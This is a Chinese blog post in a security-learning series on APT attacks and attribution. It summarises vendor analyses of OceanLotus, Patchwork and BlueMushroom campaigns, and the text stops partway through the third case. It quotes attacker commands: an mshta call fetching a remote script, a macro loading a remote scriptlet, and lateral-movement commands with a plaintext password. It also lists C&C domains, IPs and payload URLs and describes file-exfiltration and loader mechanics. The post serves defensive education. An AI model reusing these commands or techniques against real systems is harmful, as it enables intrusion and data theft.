您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列。因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全、逆向分析和恶意代码检测,“系统安全”系列文章会更加聚焦,更加系统,更加深入,也是作者的慢慢成长史。换专业确实挺难的,逆向分析也是块硬骨头,但我也试试,看看自己未来四年究竟能将它学到什么程度,漫漫长征路,偏向虎山行。享受过程,一起加油~
前文分享了Procmon软件基本用法及文件进程、注册表查看,这是一款微软推荐的系统监视工具,功能非常强大可用来检测恶意软件。这篇文章将分享APT攻击检测溯源与常见APT组织的攻击案例,并介绍防御措施。希望文章对您有所帮助。基础性文章,希望对您有所帮助~
作者作为网络安全的小白,分享一些自学基础教程给大家,主要是在线笔记,希望您们喜欢。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔!
文章目录
- 一.什么是APT攻击
- 二.常见APT组织的攻击案例
- 1.海莲花(APT32)
- 2.摩诃草(APT-C-09)
- 3.蓝宝菇(APT-C-12)
- 4.SideWinder(T-APT-04)
- 三.APT攻击溯源及案例
- 1.溯源常见方法
- 2.基于机器学习和深度学习的APT溯源
- 3.时区溯源案例(白象)
- 4.关联分析案例(Darkhotel APT-C-06)
- 5.特征相似溯源(摩诃草)
- 6.0day漏洞溯源(Lazarus T-APT-15)
- 7.蜜罐溯源
- 四.安全防御建议
- 五.总结
作者的github资源:
- 逆向分析:https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis
- 网络安全:https://github.com/eastmountyxz/NetworkSecuritySelf-study
从2019年7月开始,我来到了一个陌生的专业——网络空间安全。初入安全领域,是非常痛苦和难受的,要学的东西太多、涉及面太广,但好在自己通过分享100篇“网络安全自学”系列文章,艰难前行着。感恩这一年相识、相知、相趣的安全大佬和朋友们,如果写得不好或不足之处,还请大家海涵!
接下来我将开启新的安全系列,叫“系统安全”,也是免费的100篇文章,作者将更加深入的去研究恶意样本分析、逆向分析、内网渗透、网络攻防实战等,也将通过在线笔记和实践操作的形式分享与博友们学习,希望能与您一起进步,加油~
- 推荐前文:网络安全自学篇系列-100篇
前文分析:
- [系统安全] 一.什么是逆向分析、逆向分析基础及经典扫雷游戏逆向
- [系统安全] 二.如何学好逆向分析及吕布传游戏逆向案例
- [系统安全] 三.IDA Pro反汇编工具初识及逆向工程解密实战
- [系统安全] 四.OllyDbg动态分析工具基础用法及Crakeme逆向
- [系统安全] 五.OllyDbg和Cheat Engine工具逆向分析植物大战僵尸游戏
- [系统安全] 六.逆向分析之条件语句和循环语句源码还原及流程控制
- [系统安全] 七.逆向分析之PE病毒原理、C++实现文件加解密及OllyDbg逆向
- [系统安全] 八.Windows漏洞利用之CVE-2019-0708复现及蓝屏攻击
- [系统安全] 九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度提权
- [系统安全] 十.Windows漏洞利用之SMBv3服务远程代码执行漏洞(CVE-2020-0796)复现
- [系统安全] 十一.那些年的熊猫烧香及PE病毒行为机理分析
- [系统安全] 十二.熊猫烧香病毒IDA和OD逆向分析(上)病毒初始化
- [系统安全] 十三.熊猫烧香病毒IDA和OD逆向分析(中)病毒释放机理
- [系统安全] 十四.熊猫烧香病毒IDA和OD逆向分析–病毒释放过程(下)
- [系统安全] 十五.Chrome浏览器保留密码功能渗透解析、蓝屏漏洞及某音乐软件漏洞复现
- [系统安全] 十六.PE文件逆向基础知识(PE解析、PE编辑工具和PE修改)
- [系统安全] 十七.Windows PE病毒概念、分类及感染方式详解
- [系统安全] 十八.病毒攻防机理及WinRAR恶意劫持漏洞(脚本病毒、自启动、定时关机、蓝屏攻击)
- [系统安全] 十九.宏病毒之入门基础、防御措施、自发邮件及APT28宏样本分析
- [系统安全] 二十.PE数字签名之(上)什么是数字签名及Signtool签名工具详解
- [系统安全] 二十一.PE数字签名之(中)Signcode、PEView、010Editor、Asn1View工具用法
- [系统安全] 二十二.PE数字签名之(下)微软证书漏洞CVE-2020-0601复现及Windows验证机制分析
- [系统安全] 二十三.逆向分析之OllyDbg动态调试复习及TraceMe案例分析
- [系统安全] 二十四.逆向分析之OllyDbg调试INT3断点、反调试、硬件断点与内存断点
- [系统安全] 二十五.WannaCry勒索病毒分析 (1)Python复现永恒之蓝漏洞实现勒索加密
- [系统安全] 二十六.WannaCry勒索病毒分析 (2)MS17-010漏洞利用及病毒解析
- [系统安全] 二十七.WannaCry勒索病毒分析 (3)蠕虫传播机制解析及IDA和OD逆向
- [系统安全] 二十八.WannaCry勒索病毒分析 (4)全网"最"详细的蠕虫传播机制解读
- [系统安全] 二十九.深信服分享之外部威胁防护和勒索病毒对抗
- [系统安全] 三十.CS逆向分析 (1)你的游戏子弹用完了吗?Cheat Engine工具入门普及
- [系统安全] 三十一.恶意代码检测(1)恶意代码攻击溯源及恶意样本分析
- [系统安全] 三十二.恶意代码检测(2)常用技术详解及总结
- [系统安全] 三十三.恶意代码检测(3)基于机器学习的恶意代码检测技术
- [系统安全] 三十四.恶意代码检测(4)编写代码自动提取IAT表、字符串及时间戳溯源地区
- [系统安全] 三十五.Procmon工具基本用法及文件进程、注册表查看
- [系统安全] 三十六.APT系列(1)APT攻击溯源防御与常见APT组织的攻击案例
声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。
一.什么是APT攻击
APT攻击(Advanced Persistent Threat,高级持续性威胁)是利用先进的攻击手段对特定目标进行长期持续性网络攻击的攻击形式。APT攻击也称为定向威胁攻击,指某组织对特定对象展开的持续有效的攻击活动。这种攻击活动具有极强的隐蔽性和针对性,通常会运用受感染的各种介质、供应链和社会工程学等多种手段实施先进的、持久的且有效的威胁和攻击。
360威胁情报中心结合2018年全年国内外各个安全研究机构、安全厂商披露的重大APT攻击事件,以及近几年来披露的高级持续性威胁活动信息,并基于这些重大APT攻击事件的危害程度、攻击频度、攻击技术等,评选出2018年全球十大APT攻击事件。参考:https://www.secrss.com/articles/7530
- 韩国平昌冬奥会APT攻击事件(攻击组织Hades)
- VPNFilter:针对乌克兰IOT设备的恶意代码攻击事件(疑似APT28)
- APT28针对欧洲、北美地区的一系列定向攻击事件
- 蓝宝菇APT组织针对中国的一系列定向攻击事件
- 海莲花APT组织针对我国和东南亚地区的定向攻击事件
- 蔓灵花APT组织针对中国、巴基斯坦的一系列定向攻击事件
- APT38针对全球范围金融机构的攻击事件
- 疑似DarkHotel APT组织利用多个IE 0day“双杀”漏洞的定向攻击事件
- 疑似APT33使用Shamoon V3针对中东地区能源企业的定向攻击事件
- Slingshot:一个复杂的网络攻击活动
网络攻击追踪溯源旨在利用各种手段追踪网络攻击的发起者。相关技术提供了定位攻击源和攻击路径,针对性反制或抑制网络攻击,以及网络取证能力,其在网络安全领域具有非常重要的价值。当前,网络空间安全形势日益复杂,入侵者的攻击手段不断提升,其躲避追踪溯源的手段也日益先进,如匿名网络、网络跳板、暗网、网络隐蔽信道、隐写术等方法在网络攻击事件中大量使用,这些都给网络攻击行为的追踪溯源工作带来了巨大的技术挑战。
传统的恶意代码攻击溯源方法是通过单个组织的技术力量,获取局部的攻击相关信息,无法构建完整的攻击链条,一旦攻击链中断,往往会使得前期大量的溯源工作变得毫无价值。同时,面对可持续、高威胁、高复杂的大规模网络攻击,没有深入分析攻击组织之间的关系,缺乏利用深层次恶意代码的语义知识,后续学术界也提出了一些解决措施。
为了进一步震慑黑客组织与网络犯罪活动,目前学术界和产业界均展开了恶意代码溯源分析与研究工作。其基本思路是:
- 同源分析: 利用恶意样本间的同源关系发现溯源痕迹,并根据它们出现的前后关系判定变体来源。恶意代码同源性分析,其目的是判断不同的恶意代码是否源自同一套恶意代码或是否由同一个作者、团队编写,其是否具有内在关联性、相似性。从溯源目标上来看,可分为恶意代码家族溯源及作者溯源。
- 家族溯源: 家族变体是已有恶意代码在不断的对抗或功能进化中生成的新型恶意代码,针对变体的家族溯源是通过提取其特征数据及代码片段,分析它们与已知样本的同源关系,进而推测可疑恶意样本的家族。例如,Kinable等人提取恶意代码的系统调用图,采用图匹配的方式比较恶意代码的相似性,识别出同源样本,进行家族分类。
- 作者溯源: 恶意代码作者溯源即通过分析和提取恶意代码的相关特征,定位出恶意代码作者特征,揭示出样本间的同源关系,进而溯源到已知的作者或组织。例如,Gostev等通过分析Stuxnet与Duqu所用的驱动文件在编译平台、时间、代码等方面的同源关系,实现了对它们作者的溯源。2015年,针对中国的某APT攻击采用了至少4种不同的程序形态、不同编码风格和不同攻击原理的木马程序,潜伏3年之久,最终360天眼利用多维度的“大数据”分析技术进行同源性分析,进而溯源到“海莲花”黑客组织。
这里推荐作者的前一篇基础文章 “[系统安全] 三十一.恶意代码检测(1)恶意代码攻击溯源及恶意样本分析”,这篇文章将从案例的角度进行更深入的讲解,也感谢所有参考的安全大厂和大佬,正是因为有他们,我们国家的网络安全才有保障!
二.常见APT组织的攻击案例
1.海莲花(APT32)
海莲花(OceanLotus)是一个据称越南背景的APT组织,又称APT32、OceanLotus。该组织最早于2015年5月被天眼实验室所揭露并命名,其攻击活动最早可追溯到2012年4月,攻击目标包括中国海事机构、海域建设部门、科研院所和航运企业,后扩展到几乎所有重要的组织机构,并持续活跃至今。实际上,根据各安全厂商机构对该组织活动的拼图式揭露,海莲花团伙除针对中国发起攻击之外,其攻击所涉及的国家分布非常广泛,包括越南周边国家,如柬埔寨、泰国、老挝等,甚至包括越南的异见人士、媒体、地产公司、外资企业和银行。
-
海莲花组织常用攻击方法
- 构造诱饵文件欺骗用户点击
- 利用钓鱼邮件进行攻击,钓鱼关键字包括培训、绩效、监察等
- 采用恶意文件投递的鱼叉攻击
- CHM诱饵、白加黑诱饵、恶意Ink
- 利用CVE漏洞(如CVE-2018-20250绑定压缩包)
- 带有VBA宏病毒的Office文档
- 专用木马(Denis家族、CobalStrike、Gh0st)
- hta样本解密并加载后续的附加数据
- C&C域名通信
-
攻击手段
- 鱼叉邮件投递内嵌恶意宏的Word文件、HTA文件、快捷方式文件、SFX自解压文件、捆绑后的文档图标的可执行文件等
- 入侵成功后通过一些内网渗透工具扫描渗透内网并横向移动,入侵重要服务器,植入Denis家族木马进行持久化控制
- 通过横向移动和渗透拿到域控或者重要的服务器权限,通过对这些重要机器的控制来设置水坑、利用第三方工具并辅助渗透
- 横向移动过程中还会使用一些逃避杀软检测的技术:包括白利用技术、PowerShell混淆技术等
下面简单讲解奇安信安全中心和腾讯电脑管家的分析案例。
- 文章来源
团队:奇安信安全中心
作者:红雨滴、天眼
原文地址:海莲花团伙对中南半岛国家攻击活动的总结:目标、手法及技术演进
团队:腾讯电脑管家
作者:御见
原文地址:海莲花(OceanLotus)2019年针对中国攻击活动汇总
原文地址:海莲花APT组织2019年第一季度针对中国的攻击活动技术揭秘
奇安信安全中心和腾讯电脑管家都是国内最著名的安全团队之一,近年来也多次曝光了海莲花组织的攻击活动。其研究发现,该组织自发现以来,一直针对我国的ZF部门、国企等目标进行攻击活动,为近年来对我国大陆进行网络攻击活动最频繁的APT组织。从攻击的手法上看,该组织主要采用电子邮件投递诱饵的方式,包括攻击诱饵文档、Payload加载、绕过安全检测等技术,一旦获得一台机器的控制权后,立即对整个内网进行扫描和平移渗透攻击等。
同时,该组织针对不同的机器下发不同的恶意模块,使得即便恶意文件被安全厂商捕捉到,也因为无相关机器特征而无法解密最终的Payload,无法知晓后续的相关活动。活动钻石模型如下:
(1) 诱饵文档初始攻击
恶意文件投递的方式依然是最常用的鱼叉攻击的方式,钓鱼关键字包括干部培训、绩效、工作方向等,相关的邮件如下。此外,投递钓鱼邮件的账号有网易邮箱,包括126邮箱和163邮箱,账号样式为:名字拼音+数字@163(126).com,如:Sun**@126.com、reny**@163.com等。
2019年投递的恶意诱饵类型众多,包括白加黑、lnk、doc文档、带有WinRARACE(CVE-2018-20250)漏洞的压缩包等,之后的攻击中还新增了伪装为word图标的可执行文件、chm文件等。
- 白加黑诱饵: 病毒伪装成一个DLL文件,伪装为Word图标的可执行文件启动的同时,病毒DLL也会被加载启动(也叫DLL劫持)。使用DLL侧加载(DLL Side-Loading)技术来执行载荷,通俗的讲就是我们常说的白加黑执行。
- 带有宏的恶意office文档
- 恶意lnk
- 带有WinRAR ACE(CVE-2018-20250)漏洞的压缩包。作者之前分享过该CVE漏洞,当我们解压文件时,它会自动加载恶意程序至C盘自启动目录并运行。
(2) 恶意文件植入
恶意文件植入包括恶意lnk、使用rundll32加载恶意dll、带有宏的doc文档、白加黑、带有WinRAR ACE(CVE-2018-20250)漏洞的压缩包等。
①恶意lnk分析
该组织会在所有投递的压缩包里存放一个恶意的lnk,但是所有的lnk文件都类似(执行的地址不同,但内容一致),lnk文件的图标伪装成word图标。值得注意的是,该lnk的图标会从网络获取,因此如果远程服务器已经关闭,会导致该lnk无图标的现象。此外,还会造成即便不双击lnk,只要打开lnk所在的目录,就会出现网络连接的现象。
该现象的原因是:Explorer解析lnk的时候会去解析图标,而这个lnk配置的图标在网络上,因此会自动去下载,但只是下载而不会执行,看一眼不运行lnk文件的话,会泄漏自身IP地址,但不会导致电脑中木马。
双击运行lnk后,会执行下列命令:
C:\Windows\SysWOW64\mshta.exe http://api.baidu-json.com/feed/news.html
其中, news.html实际为一个vbs脚本文件。mstha执行此脚本后会解密脚本中存储的内容,并存储到%temp%目录下,包括tmp、exe、log、env文件。
接着调用系统自带的odbcconf.exe,将7b95ffab-3a9c-494a-a584-9c48dc7aa6a7.tmp(dll文件)给加载起来。最后调用taskkill.exe,结束mshta.exe进程。
②带有宏的doc文档
带有宏的文档的投递是该组织比较常用的恶意诱饵,如推特上安全同仁曝光该组织的诱饵。
执行宏后,首先会复制原始文档到%temp%下,命名为随机名文件,然后解密出一个新的VBA宏。
接着将HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Security\AccessVBOM的注册表值设置为1。
打开之前复制的doc文件,并将原始VBA宏擦除,把解密后的新VBA宏添加进去,接着启动VBA宏函数x_N0th1ngH3r3。x_N0th1ngH3r3函数同样解密出一段新VBA宏,同样调用新VBA宏的x_N0th1ngH3r3函数。
解密出来的新VBA宏目的是将shellcode解密并加载执行。
Shellcode解密出一个DLL文件,并在内存中加载,执行DllEntry函数。DllEntry函数先会提取资源文件,并解密出来。
解密出来的内容包括最终rat和相关配置信息。
随后会将解密的rat在内存中展开,并且查找CreateInstance函数地址,然后将配置信息传入调用该函数。
配置的4个C&C使用https进行通信连接,其他的技术细节同文章同之前御见发布的海莲花的分析文章。
- cloud.360cn.info
- dns.chinanews.network
- aliexpresscn.net
- chinaport.org
③白加黑
白加黑同样是该组织常用的诱饵类型,并且在实际攻击过程中,还多次使用。使用dll侧加载(DLL Side-Loading)技术来执行载荷,通俗的讲就是我们常说的白加黑执行。其基本流程如下图所示:
其中所使用的宿主文件对包括:
如攻击首先使用了word的主程序为白文件,加载恶意文件wwlib.dll。
释放诱饵文档到临时目录并打开。
然后再次使用白加黑的技术,使用360se的主程序做为白文件,加载恶意的chrome_elf.dll。
chrome_elf.dll功能除了实现调用原始默认程序打开txt、doc文件外,还会连接网络下载下一阶段的恶意文件并在内存中直接执行。
注意:在进行恶意样本分析时,我们不要去访问这些恶意网站,撰写报告也建议增加隔离字符防止被访问。下载地址为:[https:]//officewps.net/cosja.png,其他的恶意样本下载地址如:[https:]//dominikmagoffin.com/subi.png,[https:]//ristineho.com/direct.jpg等。
下载的木马是一个直接可当作代码执行的shellcode,下载后直接在内存中执行。
shellcode的功能是解压解密出一个功能自加载的PE文件。
该PE文件是CobaltStrike木马,和之前海莲花组织使用的该木马完全一样。
④带有WinRAR ACE(CVE-2018-20250)漏洞的压缩包
该压缩包解压后,会解压出有模糊图片处理的doc文档。除了解压出压缩的文件后,还会在启动目录释放一个自解压文件:
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup
解压后会有一个{7026ce06-ee00-4ebd-b00e-f5150d86c13e}.ocx文件,然后执行命令regsvr32 /s /i {7026ce06-ee00-4ebd-b00e-f5150d86c13e}.ocx执行。
该ocx的技术细节同前面宏文档的内存dll的部分分析,此处就不再赘述。
⑤通过com技术执行
通过com技术,把某恶意dll注册为系统组建来执行:
⑥Chm内嵌脚本
Chm执行后,会提示执行ActiveX代码。
其脚本内容为:
(3) 下发文件分析及定制化后门
在攻击者攻陷机器后,攻击者还会持续对受控机进行攻击:会通过脚本释放新的与该机器绑定木马,此木马主要通过两种加载器(定制后门)实现只能在该机器上运行,加载器也是使用白加黑技术,如使用googleupdate.exe+goopdate.dll,此外的名字还包括如:
- KuGouUpdate.exe+goopdate.dll
- AdobeUpdate.exe+goopdate.dll
- Bounjour.exe+goopdate.dll
①加载器1分析
原理示意图如下:
木马执行后分配内存空间,拷贝shellcode到新申请的空间中执行,shellcode的功能则是利用配置密码+本地计算机名的hash作为密钥解密最终的playload。
接着对playload进行校验,成功后创建新线程执行playload。
②加载器2分析
原理图如下:
加载器2是在加载器1的基础上增加了一层随机密钥的加密,更好地对抗安全软件的检测扫描,且通过挂钩API函数然乱木马执行流程来干扰自动化沙箱的分析。
首先在dll入口点处hook LdrLoadDll函数,当调用该API时接管执行流程执行解密代码,通过内置的随机密码解密shellcode,shellcode的功能则是利用配置密码+本地计算机名的hash作为密钥解密最终的playload,并对playload进行校验,成功后创建新线程执行playload。
Shellcode行为同loader1解密出的shellcode一致。
最终的playload有三种,都是海莲花常用的木马,分别为CobaltStrike、Gh0st、Denis。
- RAT1:CobaltStrike
- RAT2:Gh0st改版
该木马疑似使用开源木马gh0st改版,支持tcp和upd,数据包使用zlib压缩。 - RAT3:Denis
(4) 提权和横向移动
此外,还发现海莲花还会不断的对被攻击的内网进行横向移动,以此来渗透到更多的机器。利用nbt.exe扫描内网网段,其可能通过收集凭据信息或暴力破解内网网络共享的用户和密码,如:
C:\\WINDOWS\\system32\\cmd.exe/C nbt.exe 192.168.1.105/24
通过net user等相关命令查看或访问内网主机,如:
net user\\192.168.1.83\C#3 /U:192.168.1.183\Administrator 123456
NTLM hash
此外,在上段所述的加密的前缀中,我们还发现了一个ip:210.72.156.203做为加密前缀,我们从腾讯安图查询可见。
可以发现,能关联到nbtscan-1.0.35.exe和mmc.exe,同样跟内网渗透相关。渗透到内网机器后,攻击者还发下发bat和js脚本,来执行后续的操作。脚本名字如encode.js、360se.txt、360PluginUpdater.js、360DeepScanner.js、360Tray.js等。
如360PluginUpdater.bat+360PluginUpdater.js,360PluginUpdater.bat的功能是输出加密脚本到360PluginUpdater.dat,完成后将其重命名为360PluginUpdater.js,并执行。
360PluginUpdater.js是个加密的脚本。
通过一系列解密后最终通过eval执行解密后的脚本。
经过base64解密及范序列化后得到两个对象loader和playload,并在内存中调用loader的LoadShell方法。
loader的pdb为:E:\priv\framework\code\tools\exe2js\loader\obj\Release\loader.pdb,其功能是申请内存,解密加载执行playload:
payload PE头自带加载代码如下:
最终调用ReflectiveLoader实现内存加载dll。
最终为CobaltStrike攻击平台远控。
总结:海莲花组织是近年来针对我国的有关部门进行攻击的最活跃的APT组织之一,它总是在不断的进化,更新他的攻击手法和工具库,以达到绕过安全软件防御的目的。如不断的变换加载方式、混淆方法、多种多样的诱饵形式等,还使用新的Nday进行攻击,如该波攻击中的WinRAR ACE漏洞(CVE-2018-20250)。除了武器库的不断更新,该组织也相当熟悉中国的情况,包括政策、习惯等等,这也使得迷惑相关人员,是的攻击成功增加了成功率。除此,该组织的攻击范围也在不断的扩大,除了有关部门、海事机构、能源单位等外,研究机构所遭受的攻击也在不断的增多,而对个人的攻击,如教授、律师的钓鱼攻击也在不断的进行。因此我们提醒有关部门及有关机构的工作人员,切实提高国家安全意识,不要被网络钓鱼信息所蒙蔽,以免给国家安全造成重大损失。
2.摩诃草(APT-C-09)
APT-C-09是南亚印度背景的APT组织,又名摩诃草、白象、PatchWork、 hangOver、The Dropping Elephat、VICEROY TIGER。摩诃草组织主要针对中国、巴基斯坦等亚洲地区国家进行网络攻击活动,其中以窃取重要信息为主。相关攻击活动最早可以追溯到2009年11月,至今还非常活跃。在针对中国地区的攻击中,该组织主要针对ZF机构、科研教育领域进行攻击,其中以科研教育领域为主。摩诃草组织最早由Norman安全公司于2013年曝光,随后又有其他安全厂商持续追踪并披露该组织的最新活动,但该组织并未由于相关攻击行动曝光而停止对相关目标的攻击,相反从2015年开始更加活跃。
-
摩诃草组织常用攻击方法
- 主要以鱼叉邮件进行恶意代码的传播
- 采用水坑方式进行攻击
- 基于即时通讯工具和社交网络的恶意代码投递
- 使用钓鱼网站进行社会工程学攻击
- 投递带有恶意宏文件的xls文件
- 钓鱼网站用以捕获信息
- 使用带有诱饵文档通过点击下载托管于GitHub上的downloader样本
- Windows、Mac、Android系统均有针对性攻击
-
分析原因
- 远程控制木马包含CNC字段
- 此次活动该组织的特征与之高度类似
- 攻击手法类似
下面简单讲解Gcow安全团队的分析案例。
- 文章来源
团队:Gcow安全团队
作者:追影小组
原文地址:烈火烧不尽的“恶性毒草”——摩诃草APT组织的攻击活动
Gcow是当前国内为数不多的民间网络信息安全研究团队之一,其讨论氛围浓厚,研究范围广泛,令不少安全爱好者神往!Gcow安全团队追影小组于2019年11月底监测到了该组织一些针对我国医疗部门的活动。直至2020年2月初,摩诃草APT组织通过投递带有恶意宏文件的xls文件,以及使用带有诱饵文档通过点击下载托管于GitHub上的downloader样本,并应用于相应的钓鱼网站以获取QB等一系列活动。这对我国相关部门具有很大的危害,追影小组对其活动进行了跟踪与分析,写成报告供给各位看官更好的了解该组织的一些手法。
(1) 样本分析——诱饵文档“武汉旅行信息收集申请表.xlsm”
该诱饵文档托管于网址http://xxx.com/…B7%E8%A1%A8.xlsm,如下图所示,伪装成有关部门的文件。
这是一个含有宏的xlsm电子表格文件,利用社会工程学诱使目标“启用内容”来执行宏恶意代码。提取的宏代码如下:
当目标启用内容后就会执行Workbook_Open的恶意宏代码。
DllInstall False, ByVal StrPtr(Sheet1.Range("X100").Value)
通过加载scrobj.dll,远程调用http://45.xxx.xxx.67/window.sct,这是利用Microsoft系统文件的LOLbin以绕过杀软的监测,达到远程执行代码。其中Sheet1.Range(“X100”).Value是小技巧,将Payload隐藏在Sheet1中,通过VBA获取下载地址,起到一定混淆保护的效果。
接着分析恶意sct文件(windows.sct)。
通过windows.sct下载到启动目录,并重名为Temp.exe,运行该程序如下图所示。
系统启动文件夹如下图:
最后是后门分析(msupdate.exe),文件信息如下。
其主要功能包括:
- 自身拷贝到当前用户的AppData\Roaming和C:\Microsoft目录下,重命名msupdate.exe并创建写入uuid.txt,来标识不同用户。
- 通过com组件创建计划任务,实现持久化控制。
- 与服务器进行C&C通讯,实现了shell文件上传与下载(ftp),获取屏幕快照功能,达到完全控制目标。
获取uuid通知主机上线:
通过http协议与服务器进行通讯,并获取相关指令。反向Cmd Shell相关代码如下:
文件上传相关代码:
文件下载相关代码:
屏幕快照相关代码:
(2) 样本分析——诱饵文档“卫生部指令.docx”
该文档托管于http://xxx.com/h_879834932/…87%E4%BB%A4.docx网址,诱使目标点击提交按钮,触发Shell.Explorer.1从Internet Explorer下载并运行submit_details.exe木马程序。
其功能主要包括:
- 建立计划任务
- 收集目标机器名、IP等信息
- 下载后门程序,通过Github白名单下载文件,绕过IDS检测
- 获取Github上的文件下载路径,目前文件已被删除
总结:在这次活动中摩诃草组织为了增加其攻击活动的成功性,在诱饵文档中使用了某部门的名称和某部门的徽标以增加其可信性,同时在其托管载荷的网站上引用了nhc这个字符串。Gcow安全团队追影小组在此大胆推测,该组织使用鱼叉邮件的方式去投递含有恶意文档url的邮件。同时在这次活动中所出现的url上也存在“nhc”、“gxv”、“cxp”等字眼,这很大的反应出攻击者对中国元素的了解,社会工程学的使用灵活以及拥有一定的反侦查能力,这无疑是对我国网络安全的一次挑战,还请相关人士多多排查,培养员工安全意识也是重中之重的。
3.蓝宝菇(APT-C-12)
360公司在2018年7月5日首次对外公开了一个从2011年开始持续近8年针对我国行政机构、科研、金融、教育等重点单位和部门进行攻击的高级攻击组织蓝宝菇(APT-C-12),英文名BlueMushroom,该组织的活动在近年呈现非常活跃的状态。比如,通过向163邮箱发送鱼叉邮件,钓鱼邮件仿冒博鳌亚洲论坛向攻击对象发邀请函。攻击者通过诱导攻击对象打开鱼叉邮件云附件中的LNK文件,一旦攻击对象被诱导打开LNK快捷方式文件,会执行文件中附带的PowerShell恶意脚本来收集上传用户电脑中的重要文件,并安装持久化后门程序长期监控用。
-
蓝宝菇组织常用攻击方法
- 主要以鱼叉邮件攻击为主
- 执行恶意PowerShell脚本收集信息
- 云附件LNK文件
- 安装持久化后门程序长期监控用户计算机
- 使用AWS S3协议和云服务器通信来获取用户的重要资料
- 投递带有恶意宏文件的xls文件
- 压缩包解压后包含名为beoql.g的DLL后门
- 横向移动恶意代码,C&C访问
-
攻击手段
- 鱼叉邮件投递内嵌PowerShell脚本的LNK文件,并利用邮件服务器的云附件方式进行投递
- 当受害者被诱导点击恶意LNK文件后,会执行LNK文件所指向的PowerShell命令,进而提取出LNK文件中的其他诱导文件、持久化后门和PowerShell后门脚本
- 从网络上接受新的PowerShell后门代码执行,从而躲避了一些杀软的查杀
下面简单讲解360安全团队的分析案例。
- 文章来源
团队:360安全、奇安信
作者:追日团队、360安全监测与响应中心、360威胁情报中心
原文地址:蓝宝菇(APT-C-12)针对性攻击技术细节揭秘
原文地址:蓝宝菇(APT-C-12)最新攻击样本及C&C机制分析
(1) 鱼叉邮件及诱饵文档
360威胁情报中心确认多个政企机构的外部通信邮箱被投递了一份发自boaostaff[@]163.com的鱼叉邮件,钓鱼邮件仿冒博鳌亚洲论坛向攻击对象发送了一封邀请函,如下图所示。
邮件附件被放到163的云附件里,此附件即为攻击者的恶意Payload,这是一个通过RAR打包的快捷方式样本。接下来我们对同一波攻击中的另一个完全相同功能的样本进行详细分析,以梳理整个攻击过程。附件内容如下:
一旦攻击对象被诱导打开该LNK快捷方式文件,LNK文件便会通过执行文件中附带的PowerShell恶意脚本来收集上传用户电脑中的重要文件,并安装持久化后门程序长期监控用户计算机。
(2) Dropper分析
附件压缩包内包含一个LNK文件,名字为《政法网络舆情》会员申请.lnk,查看LNK文件对应的目标如下:
可以看到目标中并没有任何可见字符,使用二进制分析工具查看LNK文件可以看到PowerShell相关的字符串,以及很多Unicode不可见字符。
通过分析LNK文件格式中几个比较重要的结构,完整还原出样本真实执行的恶意目标,其中涉及3个LNK文件格式的重要结构:LinkTargetIDList、COMMAND_LINE_ARGUMENTS和Environment Varable Data Block。
- LinkTargetIDList: 该结构是一个数组,用于标记具体的快捷方式的链接目标,而样本中多个LIST里的元素拼接起来才是快捷方式的具体链接目标,通过调试可以看到目标路径和LinkTargetIDList拼接出来的结果一致。
CLSID_MyComputer\C:\Windows\system32\windOW~1\V1.0\POwersHELl.exe
- COMMAND_LINE_ARGUMENTS: 该选项为目标程序的参数。样本中的目标程序参数则为具体需要执行的PowerShell恶意代码,另外由于在参数中包含了大量的不可显示Unicode字符,从而导致右键打开快捷方式时目标中并不会包含对应的PowerShell代码。
- EnvironmentVarableDataBlock: 当链接目标程序涉及到环境变量时会使用。该值设置后会导致具体的快捷方式中的目标被设置为对应的 Environment Varable Data Block值,但是需要注意的是,样本中Environment Varable Data Block对实际的程序调用并不起作用(删除并不影响最终的样本启动),最终Shell32.dll靠解析LInkTargetIDList数组来启动PowerShell。
(3) Payload和PowerShell脚本分析
将LNK文件指向执行的PowerShell脚本解密,该PowerShell命名为ps_origin,代码如下,PowerShell脚本会定位执行LNK文件的最后一行。
文件最后一行经过Base64编码,解码后的数据为[压缩包+PowerShell脚本]的形式。
将最后的PowerShell脚本解密后如下,名称为ps_start。
ps_start: 被解密后的LNK文件最后一行PowerShell脚本中的ps_start会被首先执行,该PowerShell脚本主要用于解压出后续的压缩包,并继续运行其中的脚本。同时压缩包包含了相应的文件窃取模块,如下图所示脚本通过[convert]::frombase64string((gc $a|select -l 2|select -f 1))); 以Base64解密出对应的压缩包文件,之后使用Rundll32加载其中beoql.g后门文件(加载函数为DllRegister),同时将一段PowerShell脚本作为参数传入,该PowerShell命名为ps_loader。
压缩包解压后包含名为beoql.g的DLL后门、合法的Rar.exe压缩工具、以及真实呈现给用户的诱导DOC文档。
脚本会尝试访问以下3个IP地址,以确保C&C存活:
- 159.65.127.93
- 139.59.238.1
- 138.197.142.236
若确认C&C存活,则通过命令行收集系统的基本信息。
脚本获取基本信息后,再通过Rar.exe压缩为start.rar文件,之后使用RSA算法加密一个随机字符串e。最后脚本会遍历系统中指定的后缀文件(jpg, txt, eml, doc, xls, ppt, pdf, wps, wpp, 只获取180天以内的文件),继续使用Rar.exe压缩获取的指定文件,密码为之前生成的变量e。
函数pv9会将对应的RAR文件通过AWS S3 存储协议上传到一个网上的云服务商的地址:0123.nyc3.digitaloceanspaces.com,代码中包含的ACCESS_KEY和SECRET_KEY疑似亚马逊S3云服务存储协议所使用的相关KEY信息。
样本中使用该协议不过是添加一些跟服务端协商的请求头,请求头的value是用AWS s3 V4签名算法算出来的,通信流程由函数ul3和ig3完成,最终完成上传文件。ps_start中加载执行DLL后门后会从内置的三个IP地址中选择一个作为C&C,再次下载一段PowerShell,此处称之为ps_loader。
ps_loader: 首先生成用于请求的对应的us及Cookie字段,具体请求如下所示,可以看到返回的数据是一系列的十进制字符。
接着对返回数据进行简单的初始化后,通过函数sj8对数据进行解密,可以看到攻击者使用了whatthef**kareyoudoing这个极富外国色彩的调侃俚语作为秘钥。解码后的内容也是一段PowerShell,此处命名为ps_backdoor,ps_backdoor会调用其对应的函数ROAGC。
